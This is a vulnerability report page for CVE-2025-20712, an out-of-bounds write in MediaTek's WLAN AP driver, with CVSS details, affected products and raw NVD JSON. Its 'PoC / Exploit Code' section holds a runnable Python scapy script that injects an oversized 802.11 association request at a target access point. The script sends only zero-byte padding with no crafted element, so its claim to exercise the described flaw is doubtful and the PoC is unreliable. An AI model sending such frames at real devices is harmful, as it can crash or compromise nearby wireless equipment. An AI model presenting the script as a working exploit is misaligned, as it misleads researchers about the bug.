Security Vulnerability Report
中文
CVE-2025-20712 CVSS 8.8 HIGH

CVE-2025-20712

Published: 2025-10-14 10:15:36
Last Modified: 2025-10-16 15:22:18

Description

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00422323; Issue ID: MSV-3810.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6990:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7990:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7991:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7992:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7993:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:23.05:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6990:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN AP Driver(具体受影响版本请参考MediaTek 2025年10月安全公告)
使用MediaTek芯片组的Android设备(具体型号参见厂商公告)
搭载MediaTek Wi-Fi芯片的IoT设备和路由器产品

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20712 PoC - MediaTek WLAN AP Driver Out of Bounds Write # This is a conceptual PoC demonstrating the vulnerability exploitation technique. # The actual exploit requires proximity to the target device and a wireless adapter # capable of raw frame injection (monitor mode). #!/usr/bin/env python3 """ CVE-2025-20712: MediaTek WLAN AP Driver Out-of-Bounds Write PoC Vulnerability: Incorrect bounds check in WLAN AP driver leading to OOB write CVSS: 8.8 (HIGH) Patch ID: WCNCR00422323 """ from scapy.all import * import struct class CVE_2025_20712: def __init__(self, target_bssid, source_mac): self.target_bssid = target_bssid self.source_mac = source_mac self.overflow_size = 256 # Oversized payload to trigger OOB write def craft_malicious_frame(self): """ Craft a malicious 802.11 management frame with oversized payload to trigger out-of-bounds write in the MediaTek WLAN AP driver. """ # 802.11 Management Frame - Association Request with malicious payload # Dot11 frame structure with oversized information elements dot11 = Dot11( addr1=self.target_bssid, # Destination (AP) addr2=self.source_mac, # Source (attacker) addr3=self.target_bssid # BSSID ) # Malicious Association Request with crafted IE that triggers OOB write # The oversized information element causes buffer overflow in driver malicious_payload = b'\x00' * self.overflow_size # Oversized data # Build frame with malformed parameters frame = RadioTap() / dot11 / Dot11AssoReq( cap=0x3101, listen_interval=0xFFFF ) / Raw(load=malicious_payload) return frame def trigger_oob_write(self, iface="wlan0"): """ Send the malicious frame to trigger out-of-bounds write vulnerability. Requires monitor mode capable wireless adapter. """ print(f"[*] Targeting BSSID: {self.target_bssid}") print(f"[*] Using source MAC: {self.source_mac}") print(f"[*] Interface: {iface}") frame = self.craft_malicious_frame() # Send the malicious frame sendp(frame, iface=iface, verbose=True) print("[+] Malicious frame sent successfully") print("[!] Target device may crash or be compromised") def main(): # Configuration - replace with actual target information TARGET_BSSID = "AA:BB:CC:DD:EE:FF" # Target AP BSSID SOURCE_MAC = "11:22:33:44:55:66" # Attacker MAC INTERFACE = "wlan0mon" # Monitor mode interface exploit = CVE_2025_20712(TARGET_BSSID, SOURCE_MAC) # Execute the exploit exploit.trigger_oob_write(iface=INTERFACE) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20712", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:35.717", "lastModified": "2025-10-16T15:22:17.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00422323; Issue ID: MSV-3810."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.3.1.1", "matchCriteriaId": "A9C88907-D089-41BA-8B9D-62FC354C5638"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6990:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A76806D-A4E3-466A-90CB-E9FFE478E7A0"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7990:-:*:*:*:*:*:*:*", "matchCriteriaId": "4901B2A5-B0C8-4A0C-AC17-87D469744817"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7991:-:*:*:*:*:*:*:*", "matchCriteriaId": "8E9E54EE-F657-4B42-B1DA-CD00132FB4AC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7992:-:*:*:*:*:*:*:*", "matchCriteriaId": "50D01D7D-A88D-471D-A23A-42AF4DF82952"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7993:-:*:*:*:*:*:*:*", "matchCriteriaId": "76653163-7627-4C63-A5E2-6277C0EFE23E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:23.05:*:*:*:*:*:*:*", "matchCriteriaId": "AED95D06-8EC6-4070-BE3C-E0F851D7FFC1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6990:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A76806D-A4E3-466A-90CB-E9FFE478E7A0"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}